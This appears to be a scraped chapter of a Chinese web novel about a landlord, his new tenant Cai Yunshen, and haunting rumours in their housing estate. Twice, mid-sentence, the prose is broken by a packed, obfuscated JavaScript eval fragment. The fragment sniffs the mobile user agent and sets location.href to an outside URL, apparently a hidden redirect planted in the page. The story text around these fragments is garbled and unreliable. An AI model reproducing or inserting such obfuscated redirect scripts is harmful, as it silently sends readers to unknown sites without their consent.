删除好友前,蔡云深闭上眼。 那一天阳光灿烂,赵宇迎面走来。从旁经过的时候,她的心被勾起涟漪。在某个短暂到可以忽略的一刻,也好奇过他们会有怎样的未来。 好奇,便是所有好感开始的标识。 跟男人分手后的第47天,终于,他们重新变回路人。 旧的不去,新的不来。 一身轻松。点开静听,打算把《盛夏的果实》再听一次, 不带任何痛感地。 就是这时,接到一条令她无比意外的私信—— “好久不见,满月。” 仿佛是要证明自己仍活着,名叫“山风”的男人这么问候她。 然后, 今年的夏天结束了。 * 于岳望曾无数次设想过,一切尘埃落定那一天会是什么样子? 娄书旭确定死亡,雨夜幽灵也落网。那个他以为永远不会到来的终点竟然就这么降临,与他无关地。 这一天平静地到来,又平静地过去。然后一天,又一天。 夏天结束了,他把夏装都洗干净、装起来。 终点之后是什么? 思考这个问题会让人陷入虚无。他曾以为,自己会走向深渊。 然而,家里来了一个新房客。 伴随这个人的到来,他的生活发生了一些变化: 彩票不买了,房间清理了,还有他的失眠,已经很久没来袭。 拉上收纳箱的拉链前,于岳望又看见那两件短袖衫。 他对自己默念: Don''tworry,behappy. 这夜窗外淅淅沥沥,秋天的第一场雨来了。 最近的另一个变化是,每当雨天到来,他的心情就会变得很彷徨。 彷徨在蔓延,连蔡云深都发现,说他“管得太宽了”。 他也不想这样烦人,却还是忍不住拨年秋的电话。 电话那头却说蔡云深,她要定了—— “比起去外人那,来我手底下工作不是更令大家放心?”女人直言,“你自己不也这么想,才让她住进701?” ……他不想确定自己怎么想。 走出房间的时刻是八点钟。只是去厨房倒水喝,起码他给自己找的理由是这样。可是靠近客厅时,他还是止不住期待。结果就发现,新房客在沙发上睡着了。 她是坐着睡着的,电视机还开着。江安台在放莫名奇妙的电视剧,两只小狗粘在她脚边蜷在一起、闭着眼睛。 这是非常新鲜的一幕,发生在701。以前从未见过。 以前,同样的位置坐着张归凤。老人穿一条蓝布白花长裙,那裙子还是他当小孩时就存在。原本是很合身的,后来被她穿得松松垮垮。就像她身上满是皱褶、松弛老化的皮肤。她的骨架勉强支撑身体,也勉强支撑衣服。 一具每况愈下的□□。她在肉眼可见地变得孱弱,最终,她与死亡并坐在沙发上。 瘦得只剩骨架的张归凤,戴着老花镜在客厅一边看电视,一边织毛衣。这画面单是出现,就足够折磨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17232475|195002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他。 可再折磨,他也希望它能留在那。 最终,什么都没留下。 张归凤离开后,701变得又寂寞,又空大。直到许江搬进来。 生活好像又重新变得热闹,唯一的区别是,这个家到了夜晚会很安静,尤其是客厅。像一个偌大幽深的洞穴,他和许江的卧室有灯。但不会发出声音。 许江的习惯是看江安一套的晨间新闻,在白天的时候。夜晚客厅的灯不会开。有食客还热闹些,吃剩菜或者没客人的时候,他们两个男人安静地吃饭,然后各回各房间。 但是现在,这个家因为住进了另一人而变化。即使不到晚餐时刻,也听得到对话。夜晚时客厅的灯会亮起,电视机会打开,有人坐在沙发上。 这是非常新鲜的一幕,因为以前,那里坐着一个枯瘦的、衰弱的人,家的证明。现在那个空座位又有人坐了。一个年轻的、光鲜的、美丽的女人。 坐着睡着这一点也很像张归凤,看着电视打瞌睡。 她睡过去了,而许江又碰巧不在家。 所以这个时刻,他想,就留给他一分钟吧。这一分钟,他会站在远处,不受任何阻挠地看着她。 站在远处是好的,走近的话,有什么会被打破。远一点比较好。不被知晓比较好。 他看着她,就像看白雪在春日里融化。 前不久他因为一切尘埃落定喝多了。那天晚上,跟蔡云深从林荫道走出来。她把玉兰认成枇杷树,知道搞错后爽朗地笑开。那个时候他想,其实玉兰就是这样的。 这种花在很冬天的春天开……就是说,按体感还觉得是寒冬的时候,最冷的那几天,玉兰几乎是一堆枯树里最早结出花苞的。 只要玉兰即将开花,那就说明天气即将回暖—— 春天就要来了。或者说,春天已经来了。 在他看来,蔡云深跟这种花很像。 最近只有没有外人,蔡云深在家都不戴墨镜。她的乌青正在消散。但即使不消散,她好像也从来不在意他怎么看。 她对他有些误判,就像她对自己也有误判—— 蔡云深是一个很美的女人,但对于这个事实,她本人似乎不知道。 人们听她说自己长得丑之类的话,都会觉得她在说笑。但于岳望发现,这么说的时候,蔡云深是认真的。 她为什么会产生扭曲的认知? 在镜子里,蔡云深看到的究竟是怎样一张脸? 在他看来明明就像花。是如玉如雪,能带来春日的。 第一个安眠的夜晚,临睡前,他听到墙的那一面,女人对那只叫露娜的小狗说, 我最爱的就是你了,你知道吗? 不用害怕,有我在,你就不用害怕。 意识模糊时,这面透着声息的雪白的墙好像变成了一张绒毯,非常温柔。 那天晚上,他没有做噩梦。 蔡云深这个人,说话靠不住。他早就清楚,因为翌日早晨,他就听到她对小虎说同样的话。 你是这个世界上最可爱的小狗, 我最爱的就是你了。 这么对小虎说的时候,她捂住露娜的耳朵。 这么做可行吗?最爱就不该有两个。 但狗是很笨的动物。即使是谎言,它们也会相信。它们没有自我。在爱这方面从来不求回报,可以无条件、单方面地喜欢……一直喜欢。毫无道理,又生生不息。 不可以,对狗说假话。 …… 等他回过神来,一分钟早过去了。但他还在原地看着蔡云深……没办法不看。 不知过了多久,睡着的女人动了动。紧接着,她的手臂凸起一条条红色包块。就像某种低温动物长出鳞片。 她睁开双眼,神色也冰冷。 跟他的视线对上,她的目光有了温度,转头看钟。 时间尚早,看到他的第一句是: “许江不在吗?只有我跟你?” “……嗯。” “Lu~cky~”这人宛如得到玩具的孩童,开心地起身到唱片机旁,“那么今天可以用这个播唱片吧?”见于岳望不动,她说,“你答应的!” 于岳望叹一口气。随后,他皱着眉朝唱机走去。 31. 闹鬼了 周五这日,蔡云深起床就觉得不对劲。 昨天上床早,一夜无梦,按理说应该睡得很饱的。此时却觉得疲累不已,就像夜里被谁拉去做过牛马。尤其是两只手,酸疼明显。 吃饭时刷天心群,一大早信息竟然99+,说闹鬼了: 先是白宫这边,昨天午夜,一道闪电劈过,竟照出一个悬浮于半空的人影—— “那哪叫人影?叫鬼影!” “什么鬼影,放尊重点,那是道友渡劫!” “你们没事吧?越说越真。” “本来就是真的!好几个人都看见了,包括我!就是当时没反应过来,该拿手机拍个照的!” “这种灵异现象就算拿手机拍了,第二天也显示不出来吧?” …… 再是灰楼那边交相呼应: 有女鬼和婴孩啼哭,撕心裂肺。 “女人哭和婴儿哭不很正常吗?” “问题是,声音是从五楼石家传出来的……” “……闹鬼的那家?现在应该没人住吧?” “有,前几天刚住进去,阿望介绍的。而且不是女人,是个男娃子。” “那怎么会有女人哭?” “阿望@鸿运通阿望,你小子心怎么这么黑,为了50块钱介绍费,连鬼屋也让人进去住?” “那什么,灰楼1栋509的租客,你在群里没?如果昨晚你那真的闹鬼,出来吱一声?” 再无下文。 蔡云深看得津津有味,心想昨晚小区确实是阴气重,她都有体感!宁可信其有不可信其无啊! 可七月半早过了,这是鬼门没关严实? 去找许江,想问那个灰楼509究竟什么情况。然而还没走到,先见对方在卧室里鬼鬼祟祟。 看到她出现,他吓了一跳,手里一个本本落地,仓皇捡起来。 “那是什么?”蔡云深不禁问,看样子像——“房产证?” “不是!”许江说着把本本往枕头下藏,还要她,“别在意,不重要的。” 是吗? 蔡云深装糊涂:“我只是来问,为什么群里都在说灰楼闹鬼?” “闹鬼?我看看啊……” 许江一边答一边出卧室,眼镜也不找,半眯着老花眼拉远看手机。 也不知在慌什么,明明是想找天心群出来看,却错点开别的—— 下一秒,从他手机里传出一个甜甜的女声: “你的照片我刚看了,修得很漂亮哦!……” 许江尴尬地摁停。 蔡云深也愣了,不知从何评论。见她错愕,许江连忙解释:“不是的,这个,我最近在学摄影……” “噢,”蔡云深试探,“人家说你修得漂亮,是什么照片?” 许江支支吾吾,居然在这时拿出“哎呀要迟到了”为借口,一溜了之。明明离九点还有20来分钟,这人平时都是不到最后几分钟不出发的。 有鬼。 半小时后,蔡云深进卫生间开始化妆—— 术后半月已过,今天,她终于可以取下墨镜出门啦! 淤青还有星星点点,用粉底液就能掩盖。眼袋这一祛,她确实是看着精神不少。 就是眉毛太杂。刚抬手开修,楼下就警笛声大作。 蔡云深手一抖,眉毛剃没半截。 用眉笔补全之后,又简单涂了个口红,出门上班。 一路上途遇不少出来看热闹的熟人,从他们那听到几种版本: 有说是因为闹鬼报的警,有说是因为入室抢劫,有说是因为最近小区里出现虐猫的变态…… 在一片流言蜚语中骑车到公交站。蔡云深回头看旧厂废址,只想问许江: 说好的天心什么没有,就是治安好呢? ……这破烂小区,迟早要完。 撞鬼的心情直到踏进残梦音像,才烟消云散。 残梦的办公室坐落两站路外、名为衣罗路的老街上,周围是,老饭馆、盲人按摩、水果店…… 位列其间、一家并不起眼的店面,没有招牌,只有门号的就是残梦。从街面的透明门窗看进去,只见几张办公桌和一间小仓库,跟“音像店”所在的地方仅一街之隔。 这里,就是蔡云深开工的地方。 入职才几天,她就已经喜欢上了残梦的工作氛围: 工资不高,但离家近,还错峰上班,准点收工; 午休时间如果愿意,可以去音像店闲坐。 虽说是“公司”,但总人数加上隔壁店员,也就十来个。 人少事不杂,更没有条条框框的规矩,同事一个赛一个个性。 最特别的当然是厂牌老板—— 年秋为人没有架子。在小仓库里给自己设了个工位。平时见客不在这,来这就是办公。 今天年秋也在。埋头一整日处理公务,无人打扰。 直到临近下班时,有个男人来找她。 来人也是四五十岁,留寸头。眉宇轩昂,一张脸棱角分明,蔡云深看得眼熟。他提了两大包吃的来,纸袋上写“凤姐山鸡”。 男人笑呵呵招呼员工,让大家打开一包来自己分。另外一包提着进仓库,找年秋。 从大家对这人的称谓再加上他提的卤鸡,蔡云深多少摸到了“眼熟”的源头—— 他们叫他,“于叔叔”。 没过多久,年秋提着鸡先出来,说今天周五,又有卤鸡,大家分一分提前下班吧。 原以为她会跟于叔叔一道,没想到年秋说完就独自离开。被她留下的男人也没先走,而是转头走向蔡云深—— “……小蔡?” 蔡云深有点懵:“我是,”答完后跟着同事称呼他,“于叔叔好。” “你好你好,”于喜来笑—— “你们老板说,我反正要回天心,让我顺带把你也捎回家。” 就这样上了男人的车,车上也满是卤鸡味。“你跟阿望住一起?”刚坐稳,于叔叔就问她。 蔡云深拘谨:“对,”又补充,“他是我房东。” “我知道,你爸先住进去的嘛,”于喜来一边发动车一边道,“你们父女俩脾气可真好,居然忍得了那个臭小子。” 蔡云深全当这是做父亲的在自谦,客套:“于岳望人挺好的呀。” “好什么好?”男人居然抱怨,“他是真有病!需要看心理医生那种!” 嫌起于岳望,于喜来话匣子打开,说他龟毛得很: 马桶每次用完必须擦干净,内裤和袜子不能进洗衣机,就连晚上看个视频他都要管—— “他一个年轻人,十点半就睡觉!十点半!我声音开大点,他就过来敲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239169|195002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门,说我太吵了,让我戴耳机?你说他是不是神经病?” 白宫那个隔音,十点半公放,会打扰到邻居吧? 与其说是于喜来吐槽于岳望,不如说他自爆缺点。 “你平时挤牙膏,是从底部往上一点一点挤,还是随便挤?”又听于喜来问她。 蔡云深实话实说:“随便挤。” 于喜来瞬间找到同盟:“我也是!”他开心,“从最鼓的地方摁下去,不是很爽吗?就于岳望发疯,非要让我从尾巴开始挤!还说什么最烦看到人乱挤牙膏!” 蔡云深一吓。 本来她暗暗比较,还觉得自己在于岳望眼中一定算个满分租客,没想到挤牙膏也能成问题? 她可是梦到哪里挤哪里。 “这个赔钱侄儿,以后谁嫁给他谁倒霉!”又听于喜来嘟囔。 蔡云深之前就在想,怎么明明是父子,长得也像,性格却这么南辕北辙。原来于喜来是“叔叔”,根本不是“爸爸”。 再一问,归凤婆婆的三个儿子里,他是最小的,天心人称“于老三”。 闲话间,经过仪表厂子弟校。现在已经改名了,就叫“天心小学”。再往前是幼儿园,这边的小朋友刚放学。 于喜来突然放慢车速,降低车窗声音洪亮地招呼道旁人—— “老陶!接孩子呢?”说着偏头,“上车,捎你们一路!” 年纪小蔡云深一岁的陶杏是小区一起长大的孩子里跟她关系最亲近的,也是少数她成年后还来往的同辈。陶杏大学毕业后没多久就结了婚,记得丈夫做警察。转眼女儿都大班了,小名西西。 而于喜来招呼的老陶,正是陶杏的父亲陶笛。 “今晚来701喝酒啊!”陶笛带着外孙女刚上车,于喜来就邀约。 “不了,”陶笛讲话斯斯文文,“西西他爸最近有个大案子,天天加班。难得今晚能回家,点名要吃我炒的小龙虾。” “那没辙,刑警这工作可太操劳了!” 感叹完,仪表厂驻外特使于喜来就打听起小区的新八卦: “对了,今早我看群,说石毒虫那屋闹鬼?” 灰楼1栋509的房主石峰,是个瘾君子。染上恶习后工作没了,老婆也离开,全靠父亲那点退休费供养。爸死后,他独自苟活在父辈留下的小单间里,跟小区谁都不来往。 七月末,居民闻到臭味报了警,才发现石峰死在了里面。倒不是吸毒吸死,而是睡梦中热死。 通知他儿子,对方却说尸体拉走就行。丧葬费也不要,没回来看过。只托门卫发动大家帮忙招租,谁拉来租客,拿50块介绍费。 第一个租客是院子里纪芳纪阿姨给找的,结果人家来住不到半个月就走了,还跟纪阿姨大吵一场,怪她介绍鬼屋—— “说那房间到了午夜有女鬼敲门,不给开,女鬼就哭。”陶笛道。 想到自己曾在灰楼独自录音,蔡云深不寒而栗,不禁问于喜来: “于岳望也有个杂物间在灰楼,那是几栋啊?” “那是3栋,不是石毒虫那栋,不影响。” 刚松一口气,就听于喜来道:“受影响的是我!我的那个单间可就在石毒虫斜对面!租客还问我呢!”说着关切地跟陶笛打听—— “所以今早小区报警就为这个?警察来了怎么说?真有鬼?”